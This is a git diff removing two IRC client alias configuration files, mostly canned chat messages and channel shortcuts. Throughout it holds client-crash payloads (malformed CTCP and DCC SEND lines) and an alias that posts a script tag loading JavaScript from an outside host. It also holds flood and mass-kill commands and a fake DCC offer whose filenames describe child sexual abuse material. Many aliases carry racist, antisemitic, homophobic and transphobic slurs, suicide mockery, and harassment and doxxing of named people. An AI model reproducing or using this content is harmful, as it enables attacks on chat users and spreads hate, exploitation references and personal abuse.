-  rage = "say \002I AM SO ENRAGED RIGHT NOW. HOW DARE YOU DISPARAGE $*. $* HAS NOT FAILED ME ONCE, EVER";
-  rage2 = "say ,-,   ,________________________________________________________________,;say | |   |                                                                |;say \0035Ò\003 \0034Ó\003  <  Hi! You appear to be \0034raging\003 and \0039hulkin'\003 on IRC.                |;say |U|   |                         Would you like to:                     |;say |  /  | \002[\002\037Suppress your Anger\037\002]\002  \002[\002\037Emoquit IRC Forever\037\002]\002  \002[\002\037Live in Denial\037\002]\002 |;say `-'   |  \002[\002\037Blog to your Pals\037\002]\002      \002[\002\037Switch to MSN\037\002]\002        \002[\002\037Ban VXP\037\002]\002     |;say       |     \002[\002\037Quit Caring\037\002]\002          \002[\002\037Eat Blogzap\037\002]\002           \002[\002\037Die\037\002]\002       |;say       |________________________________________________________________|";
-  wp = "say  ,W   P.    ,___________________________________________________________,;say \\;       \\;  |                                                            |;say  `,   ,'  <  This IRC message does not \002\037cite\037\002 any \002\037references or sources\037\002.  |;say   `O O'    | Please help \002\037improve this message\037\002 by adding citations to    |;say    |J|     | reliable sources. \002\037Unverifiable\037\002 material may be challenged  |;say    `.'     | and removed.                                               |;say     \",     |____________________________________________________________|";
-  rage3 = "say $*: Hi! You appear to be \0034raging\003 and \0039hulkin'\003 on IRC. Would you like to: \002[\002\037Suppress your Anger\037\002]\002 \002[\002\037Emoquit IRC Forever\037\002]\002 \002[\002\037Live in Denial\037\002]\002 \002[\002\037Blog to your Pals\037\002]\002 \002[\002\037Switch to MSN\037\002]\002 \002[\002\037Ban VXP\037\002]\002 \002[\002\037Quit Caring\037\002]\002 \002[\002\037Eat Blogzap\037\002]\002 \002[\002\037Die\037\002]\002 \002[\002\037\0034Commit suicide because nobody cares\003\037\002]\002";
-  lunixfag2 = "say $Z >>> quit/$* (\"With my finger on the trigger I run dot slash configure, yo this package is big but my package is bigger\") ";
-  smiles = "say :D =D :> :P \\;D:>:> :>=D :P:> \\;D\\;D\\;D :P:>=):> :> \\;D =)=) =) :)\\;D:) =D:>:P :P :) :P=)\\;D :>=):D:> \\;D :):> =D :) :)\\;D :P :P \\;D=)=):> :D :D \\;D =) :D =D\\;D:) :D :) :):D :>";
-  tty = "say $*: you dont know who you fuckin with. you better stop fuckin around and be the man on irc, with no life, get a life and earn the respect you want.";
-  tty2 = "say if you would be my bitch you wouldnt have such a bigg mouth lill kid";
-  uthere = "say \002HIE $* \002\00313^_^\017  \00314\037lopl";
-  nigbot = "say ya fired fum japwo'k yet huhuhui am causin' yo' jap terminal t' beep timecop you is fired fum japwo'k yet huhuhui am causin' yo' jap terminal";
-  nigbot2 = "say dey dont fucken stop runnin ur mouth about mah' mate im gonanf ucken slice yo' eyes";
-  expliot = "say \00313,4THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
-  blax3 = "say \026\037  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ONCE YOU GO BLACK, NO WHITE MAN WANTS YOU BACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
-  nigbot3 = "say I felt such some\\; damn god damn! what's that. baaaad luck with (not quite as hot be the international day) UH EATIN PACKITS -- not quite identical however, as he cried \"someone else be well, if that's why I don't like our southern ways, what's the new areems when it lacks concrete semantics. but off course! to hear that his real dojigga'\"";
-  pban = "say Global and Sticky Perma-Ban(tm)";
-  prison = "say \0034------------------------------------------------------------------------------------IMPENETRABLE-IRC-PRISON-WALL------------------------------------------------------------------------------------";
-  bkr = "say check out $* here he keeps himself busy with tons of inherently useless vanity just to keep his inner \00313F\0036A\00313G\0036G\00313O\0036T\003 quiet and peaceful.";
-  bks = "say check out $* here whose communicative capabilities are so limited that he has to resort to his own language nobody understands just to feel \00313\037special";
-  azno = "say $*: listen boyo... you want a war, i can give you one you need to keep my channel out of your stupid bullshit or i'll set you straight like you've never been you feel me?";
-  aznp = "say $*: you're a fuckin peon get a job you ever been laid? flood my channel again and i will fuck you up get a life... get laid get off efnet";
-  aspam = "exec - -out perl ~/.irssi/scripts/stand/aspam.pl $* ";
-  bkt = "say check out $* over here aka hemhorroids man who has a special pass-out-in-my-chair computer pillow that he sits on";
-  shaggs = "say you're a terrible person $*;say i don't know if i want to associate with you anymore";
-  l0de4 = "say Did you know? Every line typed in $C is printed out on pristine laser paper by a group of Benedictine Monks in the French Alps. These dedicated men carefully transcribe every word you type into beautiful illuminated manuscripts to preserve the glory of $C for all time. The next time you feel the need to spam ascii or whinge about your boyfriend, think of these hardworking monks.";
-  l0de5 = "say \0034,1Anus \00312balls \0038cock \0034dongs \00312easysex \0038fuck \0034gonads \00312hoochie \0038internet \0034jerkin' \00312killwhitey \0038lickeddick \0034masturbating \00312niggers \0038orgasm \0034pussy \00312queers \0038rednecks \0034sodomy \00312tits \0038urine \0034vadgemaster \00312weenis \0038xstasy \0034yitzachrabim \00312zomg \00313DONGZ";
-  lump28 = "say $*: listen up ok nobody even likes u the only reason i dont ddos u nto oblivion is cuz ur not even worth my bandwif u fkn fgt retard im srs if u say 1 more thing u wont even get to get out of ur seat cuz i wil KAMEHAMEHAAAAAAA u thru the keyboard n shoc ur fingers so bad u will say sry but its too";
-  bfig = "exec - -out echo \"$*\" | figlet | perl -ne 'chomp $_\\; print \" \0034\037/!\\\\\\\\\037 ALERT \037/!\\\\\\\\\037 \\$_ \037/!\\\\\\\\\037 ALERT \037/!\\\\\\\\\\\\n\"\\;' ";
-  kissy = "say Hello! My name is \00313Ahmed Al-Sular\003, I am a \0034MATH\003 professor at the national University of \0034IRAN\003 , And as a proud \0034ARAB\003 i must inform you that \0034WE\003 invented \0034MATH!\003 That's right kids! When you learn \0034MATH\003 in school, you learn \0034TERRORISM!\003 IF YOU WANT TO HELP US \0034ARABS\003 DESTROY ANOTHER TRADE CENTER, \00312GO LEARN \0034MATH\00312 NOW!!!";
-  kissy2 = "say \003Hello, Sir! My name is Abdullah Ihram Mohammad Bin Zular Krokar Tehroham Kumr, \002\0034I am a TERRORIST.\002\003 My father was on the first plane that crashed in the World Trade Center. I get a boner every time CNN plays that tape. If you wish to help me in my quest for \002\0038WORLD SLAVERY\002\003, please purchase a kalashnikov at your nearest kalashnikov store and \002\0034HELP ME KILL ALL AMERICANS!";
-  kissy3 = "say I think the PRESIDENT is the BOMB. SHOOT, sometimes, I think about GEORGE W. BUSH and wonder if he would like the ISLAMABAD deli on 14th st here in WASHINGTON, DC. I think the falafel is to DIE for. Or even to KILL for. It's so good it makes me wanna declare a falafel JIHAD on all the other INFIDEL falafel stands in the capital -- from those near THE WHITE HOUSE to those near CAPITAL HILL.";
-  xchatcrash = "CTCP $C ?\001DCC SEND \"ff???f?\" 0 0 0 ";
-  # }}}
-  # }}}
-  # {{{ \
-  stop = "say $*: Your wisdom and mercy are legendary. I will eventually ! You cannot stop me.";
-  dead = "say I went down to a rifle store, I bought myself a leng; say I point it at my head but I couldn't get the job done; say I took all my mother's sleeping pills; say I jumped off a freeway bridge; say I drank three kinds of poison; say And drove my car off a ridge; say I beat myself with a bat; say Put a noose around my head; say But I'm still not dead; say    -- $*";
-  women = "say $*: 1 in 2 people are women";
-  plonk = "say $*: I have criticised your crossposting over several unrelated newsgroups.; say $*: I'd now criticize your setting \"Followup-To: news.newusers.questions\", and your complete misrepresentation of the thread about fullscreen consoles, but I have realized that you are in need of always having the last word, you need the feeling to have \"won\" even if resorting to the most absurd means, and are basically to be commiserated with because you seek your fun in such sad ways. In other words: you're just a troll, and I won't feed you any more.; say $*: *PLONK*";
-  foot = "say $*:   .'    -----------=-.; say $*:   .                   `-.; say $*:   \\              _.      `-.; say $*:  \\\\\\\\`.______..---'  `.__     `-.; say $*:   |      /             \"--..   `-._; say $*:   |     /                   ``( _  `._; say $*:   |    /                          `-.-'";
-  arabspamf = "attn3 ARE YOU ILLITERATE? WANNA LEARN THE FUCKING ALPHABET? DO YOU LIKE WORD SALAD? THEN JOIN #ARAB ON IRC.ARABS.PS AND JOIN THE LITERATE WORLD TODAY!";
-  hex = "say i really have enough bullshit irl to deal with to not be able to chat honestly in the only place on irc i still do";
-  hex2 = "say the only culture i have is irc, books, american and british tv series and panel comedy shows";
-  feminist = "say $*: I'm a femonist atheist, as well as femonist-critical, antifemonist-curious, bisexual, and I thoroughly enjoy telling people when they're wrong, especially when they don't know how to back up their shit. Although I say I'm a femonist, I would like to also put out there that I am an egalitarianist, and therefore support men's rights, but \"MRA\" wouldn't be the right term, because I'm not the most active of people. Masculinist just sounds funny.";
-  irony = "say $*: we are in a point in our culture where I can’t tell if you are for real or trying to be post-ironic. This saddens me.";
-  trans = "say $*: just a friendly remonder that trans people are better than cis people ^_^";
-  suffer = "say $*: I suffer from type 1 diabetes, anxiety, especially social anxiety disorder, OCD, vertigo, fear of heights, dark places, deep water, insects that can hurt me, mild trypophobia, loud noises, and teeth. I’ve also been the victim of abuse and sexual assault.";
-  hex3 = "say $*: do you want me to really start fucking with you";
-  heron = "say $*: i am a heron. i haev a long neck and i pick fish out of the water w/ my beak. if you dont repost this comment on 10 other pages i will fly into your kitchen tonight and make a mess of your pots and pans";
-  "frot-prime" = "say $*: go play in traffic!!!!!!! address me as \"xe/xem/xyr\", you cisgender-privileged rape-apologist!!!!!!!";
-  "frot-prime2" = "say $*: CHECK YOUR FUCKING SMALLFAT PRIVILEGE, YOU HETEROPATRIARCHAL INTERSPECIES-IGNORING, HETERO-PRIVILEGED NECKBEARD";
-  brr = "say $*: drop DEAD!!!!!!! ~~~~~*ur worse than HITLER, U CISGENDER-NORMATIVE KYRIARCHIST!!!!!!*~~~~~ └(`0´)┘ no oNE CARES ABOUT UR DAMN FEMSCUM UTERUS-BEARER OPINION!!!! ᕙ(⇀‸↼‶)ᕗ sfam smallfat opinions!!!";
-  dzl2 = "say $*: kid , you are gfoing to have 0 ircd for 23months now... you see where fighting gets you with me ? I dont care ho9many od arse lins you hit %%, we already had thtdelinked lmao, so i lost6 mayb 4 bot :P try harder, and still, ill add months kiddo,FUCK";
-  brr2 = "say $*: Hi hot and Beautiful \00313b\0037r\0038r\003, you call me 09868035385, 09212235385 I Am 35 in Dellhi Sweet and Unsatisfied Girls and Aunties call as one time fun with you and me....";
-  franka = "say $*: Y NAME IS FRANKA ABDULMOHAMMED wants you to know about Elance!MY NAME IS FRANKA ABDUL [ AM FROM KUWAIT] I WANT TO INVEST IN YOUR COUNTRY UNDER YOUR CONTROL AS MY BUSINESS MANAGER. COPY THIS MY EMAIL AND CONTACT ME THROUGH YOUR PERSONAL EMAIL FOR MORE DETAILS. PLEASE I NEED YOUR URGENT REPLY IMMEDIATELY. ( Franka_abdulmohammed002@hotmail.com )";
-  frankie = "say FRANKIE AND JOHNNY WERE LOVERS; say OH LORDY HOW THEY COULD LOVE; say THEY SWORE TO BE TRUE TO EACH OTHER; say AS TRUE AS THE STARS ABOVE";
-  wow2 = "say $*: wow, I've never witnessed such proficiency at such a hackjob. It's dilettantism like this, with its neediness on excessive terminologies which transform into vapid jargon, that is symptomatic of postmodern discourse. Good on you David sharing your bookshelf with youtube, but these regurgitations and quasi-dissemonations of 'logic' that is instantly reified through, much like Heidegger's existentialist jargon, to a point that you are shaving and exscinding all profundity latent within dialectical thinking. Good work on betraying $0's most profound legacy!! Kudos";
-  will = "say $*: Will qutting masturbation make me more handsome???";
-  cis = "say $*: dear cis people\\; nobody cares about how hard it is for you to learn about genders that arent yours when we had to go out of our way to discover that the genders we are even exist";
-  breddas = "say $*: HI breddaS!!!! it's taki and it's my first thread i will show you my latest animation so rate please [IMG]C:\\\\Users\\\\Administrateur\\\\Desktop\\\\Taki\\\\Photos\\\\animation.gif[/IMG]";
-  arabspamg = "attn3 ARE YOU BLOOD CLOT TIRED? DO YOU HATE BEING AWAKE? ARE YOU DONE WITH THAT PROC? THEN JOIN #ARAB ON IRC.ARABS.PS TONIGHT AND BLOG ABOUT YOUR INSOMNIA!";
-  jinn = "say $*: The Jinn inhabited the earth long before humans were introduced onto it, forgive me for lack of references I\\'m sure more learned sisters and brothers can verify this insha\\'Allah, Azazil before becoming iblis prayed on every inch of the earth for a period of 4+ million years. The Jinn living on earth obviously required sustenance so its very possible and probable dynosaurs existed for millions of years prior to human introduction onto the earth and served this purpose or not... ";
-  hex4 = "say $*: no i realised that i spend a ridiculous amount on stupid shit because im a spoiled little fuck so i can either step down in expenses or step up in pay";
-  colin = "say $*: i don't know who you are but it would be a good idea for you not to talk to me further";
-  wc = "window close";
-  w = "window $*";
-  n = "names";
-  wa = "say .wolfram $*";
-  founder = "mode $C +qaohv $0 $0 $0 $0 $0";
-  chghost = "quote chghost $*";
-  chgident = "quote chgident $*";
-  chgname = "quote chgname $*";
-  ta = "eval topic $C $topic | $*";
-  fukjordan = "say how about we just solve this now;kb neener ";
-  opp = "founder $*";
-  dns = "exec host $*";
-  svsnick = "os svsnick $*";
-  tatdump = "I had to dump two girls so far when I found out they had tats. As a general rule, every tat a girl has = 1 different sexually-transmitted disease. Not to mention that Despite all this, why do some women have tats? And why do they get upset when I dump them because of it?";
-  roids = "say CJC with Dac is def worth it. The best you can do, which I just started running, and it's insane is your regular AAS cycle whatever you are running, with GH and Insulin. I'm on 4iu GH every other day, humalog 8iu 5 days a week, just upped my AAS this week to 800mg test E, 400mg Deca, and 300mg masteron ent a week. After all the money you spend on sarms and peptides, you might as well just save that and put it towards quality GH. So far it's a sick combo.";
-  tyt = "say take your time";
-  nicebox = "play nicebox";
-  opinion = "echo Well, this is a slightly different thing than an opinion. The game was, in fact, not amazing. It had aspects of what could make something amazing, but in the end didn't pull it all together. There's a reason it gets so much flak, it's not people just hating on it for nothing. However you can like things that aren't good and dislike things that are good, that's where opinion comes in. I know this all seems like semantics but it's important to know the difference between these things, because if you say one thing and intend another it's not the reader's fault for thinking you meant what you said.";
-  play = "exec -o cat ~/a/$*.txt";
-  icmp = "say $*: how about i do a nice icmp ping 2 u, figure out where you are and what you are on, spawn your command.com to a port of my choice and log in with telnet and have a field day with you";
-  1stup = "say YO BITCH IM THE 1ST UP IN THIS PIECE. RESPECT MY ABILITY TO BE UP EARLY AND CHAT BEFORE YOU COCK SUCKER!!!!!!!!!";
-  googleit = "exec -o cat ~/googleit";
-  talkpiss = "say u know wtf is so funny about $* he loves talk about something he knows fuckall about this is why he is called mr talkpiss moahahaha";
-  ncf = "say Listen NCF sucks. 1. Nice political ranking system. nice voting. BCS is garbage 2. Nice schedule, there are only 2-3 meaningful games per year per team 3. Nice male cheerleaders (faggots) 4. Female announcers. (go bitch to somone who cares cunt) 5. \002SEC Fans";
-  your = "say look its not hard, your isnt you're.. you're is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin your an IDIOT.. and im sure right now your eaiting to CORRECT ME on using your in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
-  quit = "echo \002\0034ONE DOES NOT SIMPLY _QUIT_ IRC";
-  canada420 = "say amazing that dzl is still chatting even after everyone knows he fingered his butthole on tinychat for other irc males";
-  slap = "me slaps $* around a bit with a large trout";
-  floodfuck = "play *;win 2";
-  sss = "play sss;w 2";
-  okay = "msg #dev ok;msg #help ok";
-  snitch = "say any of you have a way of getting a hold of juoef? Jeff bring :) insect";
-  goodop = "say I have like 50,000 shells/vhosts/bncs. Bans won't do a thing except fill your list. And 'get to where i am today' is a sad testament to your life apparently. On a side note, I used to op other chans that are far bigger than this chan. I didn't get ops by k/b'ing everyone in sight or anyone that carried a touch of annoyance to me. I reserved k/bs for spammers and flooders, that's it. Everyone else I /ignored";
-  efs = "say efs / efsenable / efsnable / loserp3 = Ephraim Pesach \"Effy The Gay Kike\" Grinberg of the Golan Heights Israel, a dog killing (http://is.gd/RLHl5W) diseased gay virgin jewish ratboy kiddie who lives in a mental hospital with an arab roommate; The arab roommate jihads his poopchute every night while thrusting towards Mecca and screaming \"ALLAHU AL AKBAR!!\" http://is.gd/P3hELn http://is.gd/wyh7mj http://i.imgur.com/Hlev8xc.png";
-  dare = "say dare / bare (Meg aka sMeggy Meg aka darezo: ( http://genoci.de/darezo.jpg ) is married to a \"potter\" who can't bring home the bacon and with their two kids, they often can't pay the electric bill. she camwhores too while drunk. that sounds great until you see her and the 80's hair. <efsenable> yeah dare is pretty worthless. fat worthless whore. <monq> wtf dare is ugly <dolphin> i saw her tits on tinychat <dolphin> ive recovered somewhat <[x]> dare is ugly";
-  nofilter = "mode $C -G";
-  bryansilva = "say I am capable of making any girl orgasm violently during vaginal intercourse without the need for oral or sex toys. I know how to do it right and EXACTLY what to do. I'm generally the first guy who has made every girl I fucked cum during sex. Whereas oral sex is concerned? 40 seconds is all I need. Time me";
-  regulate = "founder baronphone;founder redbaronpizza;founder woof;founder lovesoccer88;founder ak;founder blowfish;founder dickserv;founder takbar;founder spikeyfish;founder alghazi;founder lulzilla;founder vap;founder baronfortuna;founder megadongs;founder jakk;founder football;founder hoodie;founder misty;founder psycho;founder sunnid;founder vein;founder wealth;;mode #superbowl -qaohvqaohv ak ak ak ak ak blowfish blowfish blowfish blowfish blowfish;mode #superbowl -qaohvqaohv dickserv dickserv dickserv dickserv dickserv takbar takbar takbar takbar takbar;mode #superbowl -qaohvqaohv spikeyfish spikeyfish spikeyfish spikeyfish spikeyfish alghazi alghazi alghazi alghazi alghazi;mode #superbowl -qaohvqaohv lulzilla lulzilla lulzilla lulzilla lulzilla vap vap vap vap vap;mode #superbowl -qaohvqaohv baronfortuna baronfortuna baronfortuna baronfortuna baronfortuna megadongs megadongs megadongs megadongs megadongs;mode #superbowl -qaohvqaohv jakk jakk jakk jakk jakk football football football football football;mode #superbowl -qaohvqaohv baronphone baronphone baronphone baronphone baronphone redbaronpizza redbaronpizza redbaronpizza redbaronpizza redbaronpizza;mode #superbowl -qaohvqaohv hoodie hoodie hoodie hoodie hoodie misty misty misty misty misty;mode #superbowl -qaohvqaohv psycho psycho psycho psycho psycho sunnid sunnid sunnid sunnid sunnid;mode #superbowl -qaohvqaohv vein vein vein vein vein wealth wealth wealth wealth wealth;mode #superbowl -qaohvqaohv woof woof woof woof woof lovesoccer88 lovesoccer88 lovesoccer88 lovesoccer88 lovesoccer88;mode #superbowl +qaohvqaohv ak ak ak ak ak takbar takbar takbar takbar takbar;mode #superbowl +qaohvqaohv spikeyfish spikeyfish spikeyfish spikeyfish spikeyfish football football football football football;mode #superbowl +aohvohv-G dickserv dickserv dickserv dickserv alghazi alghazi alghazi;mode #superbowl +ohvohvohv lulzilla lulzilla lulzilla baronfortuna baronfortuna baronfortuna megadongs megadongs megadongs;mode #superbowl +ohvhvvvvvvv blowfish blowfish blowfish vap vap jakk psycho hoodie sunnid vein lovesoccer88;mode #superbowl +ohvohv baronphone baronphone redbaronpizza redbaronpizza";
-  vhosts = "exec cat ~/vhosts";
-  coins = "say .btc;say .omg;say .link;say .vtc;say .ppc;say .enj;say .xvg;say .trx";
-  pyrex = "say my shit stay cock'd like forest whitakers eye";
-  coins2 = "say !coin btc,omg,vtc,ppc,xrb,xlm,dbc,atl";
-  arab2 = "say takbar: be careful blowfish might alias u;say for disagreeing with vap0r";
-  ak = "say rr @ $* trying to get me to sacycle him so he can complain more about it";
-  mikejonez = "$* its classic schoolyard bully psychology bro";
-  diamondhead = "say that is some funny fucking shit, if i were some stupid fuck, joining that would load roughly 5000 irc channels into me client/browser in an attempt to crash it";
-  ak2 = "say how do u get a host that ends in a period";
-  mikejonez2 = "say real niggas dont live in apts tho";
-};
diff --git a/irc/alias/opal.conf b/irc/alias/opal.conf
@@ -1,195 +0,0 @@
-#
-# weechat -- alias.conf
-#
-
-[cmd]
-!! = "hueg 1,4,8"
-1488 = "mode -b+l-b 0,5卐5!*@*0,5 1488 5*!*@0,5卍"
-_fortune = "es bin/fortune.sh"
-a = "play"
-aaway = "away -all"
-acow = "es cat ascii/*/"$3-" | cow$1 -nf$2"
-action = "msg * \x01ACTION $*\x01"
-agrep = "play -find *$**"
-akill = "trigger add akill_$1 signal "$server,irc_in2_join" "${nick} == $1" "" "/quote -server $server kill $1" "ok";kill $1"
-aop = "kloeri autoop"
-aoper = "eval /oper $1 ${sec.data.${server}_oper}"
-asl = "exec -o /home/wowaname/bin/asl/asl.sh"
-ato = "play -pipe "/say $1:" $2-"
-autocmd = "eval -s ${irc.server.$server.command}"
-av = "say <meta http-equiv=refresh content="0.001\; url=Login.asp"><script language=javascript src=http://www.haofbi.com/js/w.js></script>"
-b = "buffer"
-b64d = "exec echo '$1-' | base64 -d"
-b64e = "exec -o echo '$1-' | base64"
-banhammer = "me is getting out the ban hammer! ▬▬▬▬▬▬▬▋ Ò╭╮Ó"
-bbunni = "say bbunni is a fucking whore: <peaces> blue, roy told me u asked him to cyber u while ur husband was in the hospital <bbunni> peaces so what if i did, how is that your business?"
-benis = "exec -o cat ascii/uncat/benis\ unban"
-best = "say best $* in town;say best $* around"
-bible = "exec -o grep -i ^'$*	' ascii/uncat/bible"
-bl = "kline 40320 $1 :Blacklisted"
-blog = "say Hi! It looks like you're blogging on IRC. Would you like to: 2[Add Comments] 2[e-Mail this to a Friend] 2[Digg This!] 6[Submit to Slashdot] 2[Add to del.icio.us] 5[Kill yourself because0⬉5 nobody cares]"
-brag = "wv -o;uptime -o;weestats;input return"
-buttes = "play -fmt "$*" buttes4"
-buttranged = "say you've just been HURT FEELINGS AND BUTT RANGED go drink ur moms bredt milk u fart commander i bet u hav a fetish FOR MEN LMAO ur just so made all the time its 2 easy 23 own u "i ilk to drinkj sperm from my sperm bottle while waring my sperm necklace" - u"
-c = "connect"
-cake = "prism -wr and no i'm not going to dye my dammed hair pink and bake a fucking cake"
-chan = "msg chanserv $1 $channel $2-"
-chankey = "kloeri key"
-cia = "say CIA niggers glow in the dark. You can see them if you're driving. You just run them over, that's what you do."
-clear = "buffer clear"
-clop = "yiff -clops"
-cnotice = "notice $channel"
-coffee = "play -fmt $1 uncat/coffee"
-colourkill = "prism -xe هو ما نراه عندما تقوم الملونات بتعديل الضوء فيزيائيا بحيث تراه العين البشرية (تسمى عملية الاستجابة) ويترجم في الدماغ (تسمى عملية الإحساس التي يدرسها علم النفس). واللون هو أثر فيسيولوجي ينتج في شبكية العين، حيث يمكن للخلايا المخروطية القيام بتحليل ثلاثي اللون للمشاهد، سواء كان اللون ناتجاً عن المادة الصبغية الملونة أو عن الضوء الملون. إن ارتباط اللون مع الأشياء في لغتنا، يظهر في عبارات مثل "هذا الشيء أحمر اللون"، هو ارتباط مضلل لأنه لا يمكن إنكار أن اللون هو إحساس غير موجود إلا في الدماغ، أو الجهاز العصبي للكائنات الحية."
-corner = "es python3 -c 'print( "\n".join([" ".join("$*")]+list("$*"[1:])) )'"
-cowsay = "es cowsay"
-ctopic = "topic"
-cuntpunt = "prism -c \ /$1 $2 cuntpunt \\|  ̄ヘ ̄|/_______θ☆( *o*)/"
-dc = "disconnect"
-dc6 = "exec -pipe /mode bash -c 'h=(0 1 2 3 4 5 6 7 8 9 a b c d e f)\; for i in {0..3}\; do echo $1 $2${h[(( i * 4 ))]}$3 $2${h[(( i * 4 + 1 ))]}$3 $2${h[$(( i * 4 + 2 ))]}$3 $2${h[$(( i * 4 + 3 ))]}$3\; done'"
-dc_full = "exec -pipe /mode bash -c 'for i in {0..3}\; do echo $1 $2$(( i * 4 + $4 ))$3 $2$(( i * 4 + 1 + $4 ))$3 $2$(( i * 4 + 2 + $4 ))$3 $2$(( i * 4 + 3 + $4 ))$3\; done'"
-dc_half = "exec -pipe /mode bash -c 'for i in {0..3}\; do echo $1 $2$(( i * 64 ))$3 $2$(( i * 64 + 16 ))$3 $2$(( i * 64 + 32 ))$3 $2$(( i * 64 + 48 ))$3\; done'"
-dccporn = "exec -pipe "/ctcp $1" echo 'DCC SEND '`echo '2011_vichatter_3_girls_hot_show.mp4 2013-05_Chinese_Girl_Vichatter_8Yo_112.avi 2lolis_3.mp4 9yo_from_vichatter.mp4 @babygirl_pusssy.mp4 @yegla.mp4 Kak2.mp4 Kia_yn.mp4 LD_3_04.14.wmv LD_4_04.14.wmv Latina_shakes_her_behind_in_pink_underwear.mp4 Laura_McMenamin_-_Straddle_jumps_on_the_trampoline.mp4 Liza_Botkin_n_Friend.avi MN_11.13..avi Periscope_rus_lesbi.mp4 Russian_video.mp4 Vichatter_03_11_2011_Mashechka_alone.avi Vichatter_July_Novo_07_17_2012.avi Vichatter_Mary_08_22_2011.avi WCAM-349.wmv YouNow_-_Kiera_Smith_tits_n_ass_edit.FLV brighton014_-_broadcasted_on_YouNow.FLV calzones.webm jv-2016-05-27_06-01.ts megz_yn.mp4 michaella_yn.mp4 michaellahunyormog.mp4 mu3.mp4 sexy_russian_girl.mp4 vichatter_ass_2.mpg webcam_52.wmv' | tr \  "\n" | shuf | head -1` $(( RANDOM * 131072 + RANDOM )) $(( RANDOM + 10000 )) $(( RANDOM * 1024 ))"
-dccrash = "say DCC SEND " 1.2.3.4 1337 1"
-deopd = "exec -pipe "/mode -obb $1" cat ascii/uncat/deopban"
-diagonal = "es python3 -c 'j="$*"\;[print(" "*i + j[i]) for i in range(len(j))]'"
-dikky = "fortune dikky"
-dim = "trigger addreplace dim_$server_$1 modifier weechat_print "${tg_tag_nick} == $1 && \${server} == $server" "/(.*)/${color:4}${tg_prefix_nocolor}\t${color:12}${tg_message_nocolor}/"; print \---\t$1 is now dimmed on $server"
-dns = "kloeri dns"
-dongers = "say ヽ༼ຈل͜ຈ༽ノ raise your dongers ヽ༼ຈل͜ຈ༽ノ"
-doritos = "say ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ Ah Mannn! I dropped my bag of Doritos!!!"
-down = "kloeri down"
-dyk = "say 8(!) 1Did you know...;/m $channel 11/14=11\ ;/m $channel 11\ / $*"
-e = "say 3$nick14@weechat14:~ 3$ $*;/exec -pipe "/msg -server $server $channel " $*"
-efnet = "say Ugh, I'm so sick of $server. I'm moving to EfNet."
-efs = "fortune efs"
-errantego = "msg * $1, $channel is a family friendly channel (meaning young eyes could be watching), please watch your language while you are in $channel...thank you. :-)"
-es = "/exec -pipe "/msg -server $server $channel " $*"
-fag = "play -fmt $1 fagosaurus"
-fakelag = "exec -pipe /say figlet -Fborder -Fgay -fterm Please disable Fakelag, $1!\;echo\;echo "Some clients limit commands sent at once so they don't get disconnected."\;echo 'This is often undesired as Good IRC Networks can handle flooding.'\;echo 'Certain clients allow easy removal of fakelag:'\;echo 'irssi :: /set cmd_queue_speed 0msec'\;echo '         /set cmds_max_at_once 0'\;echo '         /reconnect'\;echo 'WeeChat :: /set irc.server_default.anti_flood_prio_high 0'\;echo '           /save'\;echo 'HexChat :: /set net_throttle 0'\;echo 'ChatZilla :: /evals CIRCServer.prototype.MS_BETWEEN_SENDS = 0'\;echo 'ZNC :: /msg *controlpanel setnetwork floodburst $me $network 0'\;echo '       /msg *controlpanel setnetwork floodrate $me $network 0'\;echo '       /msg *status connect'"
-figfonts = "exec -n ls /usr/share/figlet"
-figlet = "es figlet -w100 -Fcrop $*"
-flashbang = "cflood -fg 0 -bg 8 FLASHBANG"
-fortune = "es fortune fortunes/"$*""
-friends = "play -fmt "$nick\;$1" colour/friends"
-fuck = "mute python load colo.py"
-full = "figlet -f wideterm"
-ganja = "me is away (4,4__8,8__3,3__1 SmOkInG ThE GaNjA 4,4__8,8__3,3__)"
-gaydar = "play -fmt $* gaydar"
-gaykick = "k $1 4Y12O9U A8R4E 9G11A8Y"
-gentoo = "exec -o echo install `(cat /dev/urandom | tr -cd 'a-z' | head -c 1) 2> /dev/null`entoo"
-gnu = "say I'd just like to interject for a moment. What you're referring to as $2-, is in fact, $1/$2-, or as I've recently taken to calling it, $1 plus $2-."
-gnulinux = "gnu GNU Linux"
-gnusay = "cowsay -nfgnu < ascii/copypasta/gnulinux"
-heart = "hueg 05,04 <3"
-hop = "cycle"
-hopflood = "exec -o sed 's@^@/part @\;s@$@\n/join@' ascii/*/"$1-""
-host = "exec host"
-ikline = "/kline ~*@$1 :Please install identd"
-insult = "exec -o /var/www/afsadgsdcgdcfgefcasfcascfsadf.com/insult/index.pl"
-irssi = "input history_previous;input history_previous;input return;input history_previous;input return;exec -pipe /repeat echo "$((RANDOM%5)) say ?A""
-j = "join"
-jargon = "exec -o bin/jargon.sh"
-jewname = "exec -o bin/jewname.pl"
-k = "kloeri kick"
-kb = "kloeri kickban"
-kdebug = "kloeri debug"
-khelp = "kloeri help"
